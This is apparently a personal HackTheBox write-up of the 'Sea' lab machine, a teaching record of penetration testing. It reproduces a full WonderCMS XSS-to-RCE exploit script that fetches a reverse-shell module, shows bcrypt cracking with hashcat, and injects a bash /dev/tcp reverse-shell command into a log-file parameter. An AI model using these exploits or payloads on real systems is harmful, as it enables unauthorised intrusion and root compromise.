#linux #hackthebox #easy
![[Pasted image 20250610002157.png]]
---
# Enumeration
nmap discovers two open ports 22 and 80
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ sudo nmap -sS 10.10.11.28 -Pn -n --open -p-
[sudo] password for parallels:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 20:01 CDT
Nmap scan report for 10.10.11.28
Host is up (0.051s latency).
Not shown: 64878 closed tcp ports (reset), 655 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 21.00 second
```
Ran nmap one more time to gather detailed information about the two open ports. We can also see that the website on port 80 does not have the `HttpOnly` flag enabled which may indicate a potential vulnerability to XSS.
- `HttpOnly` is a security flag that prevents JavaScript from accessing cookies.
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ nmap 10.10.11.28 -p 22,80 -sCV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 20:03 CDT
Nmap scan report for 10.10.11.28
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Sea - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds
```
# Foothold
There was a link to `sea.htb/contact.php` under "HOW TO PARTICIPATE". Let's add `sea.htb` to `/etc/hosts` with the following command:
```bash
echo "10.10.11.28 sea.htb" | sudo tee -a /etc/hosts
```
![[Pasted image 20250609201656.png]]
On the `sea.htb/contact.php` page, there is a registration form.
![[Pasted image 20250609202319.png]]
I filled the form with random information and pressed submit, but nothing exciting happened.
![[Pasted image 20250609202717.png]]
I ran `feroxbuster` and found some interesting directories and files. One good thing about feroxbuster is that it provides nested search so you don't have to run it multiple times to check contents inside a directory. Each of the directories that returned 301 redirect to the same path with a `/` on the end, and that returns 403 forbidden.
![[Pasted image 20250609204338.png]]
I was able to access the following 3 paths:
- `version` returns `3.2.0`.
- `summary` returns "Animated bike theme, providing more interaction to your visitors."
- `LICENSE` mentions `turboblack` which can be a keyword for the theme.
```bash
200 GET 1l 1w 6c http://sea.htb/themes/bike/version
200 GET 1l 9w 66c http://sea.htb/themes/bike/summary
200 GET 21l 168w 1067c http://sea.htb/themes/bike/LICENSE
```
Googling a combination of words like "turboblack bike theme 3.2.0" returns this CMS called `WonderCMS` and then I googled "WonderCMS 3.2.0 exploit". It apparently is vulnerable to `CVE-2023-41425`. You can check the PoC exploit here: https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413
To trigger the initial XSS vulnerability, the author of the PoC injects an XSS payload into the `loginURL` form which grabs our malicious `JavaScript` file and performs the module installation.
```bash
# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")
```
```bash
wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip
```
From the PoC code, we have to modify the `urlRev` variable to match our own IP address like this:
```bash
**var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.5:8000/main.zip&directoryName=violet&type=themes&token=" + token;**
```
Now after we modified the `urlRev` let's run our exploit code
```bash
python3 exploit.py http://sea.htb/index.php?page=LoginURL 10.10.14.5 1234
```
Now, run the `exploit.py` and also set up a listener. Notice that exploit.py tells me to send the link to admin.
![[Pasted image 20250609215239.png]]
![[Pasted image 20250609215447.png]]
Finally got a shell connecting back to me!
![[Pasted image 20250609224935.png]]
Enumerating the file system I found the database for `wonderCMS` located at `/var/www/sea/data/database.js`, which contains hash value as password.
```json
cat database.js
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
"defaultPage": "home",
"login": "loginURL",
"forceLogout": false,
"forceHttps": false,
"saveChangesPopup": false,
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
"lastLogins": {
"2025\/06\/10 03:56:56": "127.0.0.1",
"2025\/06\/10 03:48:25": "127.0.0.1",
"2025\/06\/10 03:45:55": "127.0.0.1",
"2025\/06\/10 03:44:25": "127.0.0.1",
"2025\/06\/10 03:21:53": "127.0.0.1"
},
<SNIP>
```
It seems like I found the hash type `bcrypt`
![[Pasted image 20250609230250.png]]
I removed the backslashes and wrote the hash to a text file and then feed it to `hashcat` using option `-m 3200` to crack bcrypt hashes.
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ echo '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' > bcrypthash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ cat bcrypthash
y.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q
```
```bash
hashcat -a 0 -m 3200 bcrypthash /usr/share/wordlists/rockyou.txt
```
hash cracked! the password is `mychemicalromance`
```bash
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM...DnXm4q
Time.Started.....: Mon Jun 9 23:30:59 2025 (48 secs)
Time.Estimated...: Mon Jun 9 23:31:47 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 64 H/s (7.56ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3072/14344385 (0.02%)
Rejected.........: 0/3072 (0.00%)
Restore.Point....: 3056/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-1024
Candidate.Engine.: Device Generator
Candidates.#1....: 753159 -> dangerous
Hardware.Mon.#1..: Util: 97%
```
With the found password, I was able to login as `amay`
```bash
www-data@sea:/home/amay$ su amay
Password:
amay@sea:~$
```
Found user.txt
```bash
amay@sea:~$ cat user.txt
7b9...
```
# Privilege Escalation
Enumerate the system checking if there are any other ports open internally. We can see that port 8080 is open internally.
```bash
amay@sea:~$ netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:49233 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
amay@sea:~$
```
I'm going to forward that port to my local machine using SSH.
```bash
ssh
[email protected] -L 8080:127.0.0.1:8080
```
Accessing the page port through a web browser prompts us to authenticate. I am logged in using `amay:mychemicalromance` and this page seems to be some sort of system monitoring website.
![[Pasted image 20250609234210.png]]
![[Pasted image 20250609234249.png]]
Let's fire up `Burp Suite` and examine what each button does by intercepting requests.
Notice that `log_file` in the POST request to analyze logs seems to pull an explicit file path. I'm going to try and inject a new command using `;touch+/tmp/test.txt`.
![[Pasted image 20250609234952.png]]
It actually created the file `/tmp/test.txt`
```bash
amay@sea:~$ ls -la /tmp/test.txt
-rw-r--r-- 1 root root 0 Jun 10 04:51 /tmp/test.txt
```
Let's get a reverse shell using this payload:
```bash
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&i'
```
After URL encoding the payload in the Burp Suite POST request, we got our final payload
```bash
log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%26i'&analyze_log=
```
I was able to get a reverse shell connecting back to me but It lost connection immediately. Looked like it was disconnected from the other end.
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.28] 58510
bash: cannot set terminal process group (10307): Inappropriate ioctl for device
bash: no job control in this shell
root@sea:~/monitoring# exit
```
The problem was that the reverse shell connects successfully, but it immediately exists after a few seconds. For whatever reason, the process was terminated by the web server it seemed like. What if we run the process in the background? if we append an ampersand `&` at the end of the payload, it's telling the process to run in the background and it actually kept the shell alive even after the HTTP request ends!
```bash
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1 &'
```
```bash
┌──(parallels㉿kali-linux-2024-2)-[~/Desktop]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.28] 58510
bash: cannot set terminal process group (10307): Inappropriate ioctl for device
bash: no job control in this shell
root@sea:~/monitoring# whoami
whoami
root
root@sea:~/monitoring#
```
Found the root.txt!
```bash
root@sea:~# cat root.txt
0c6...
```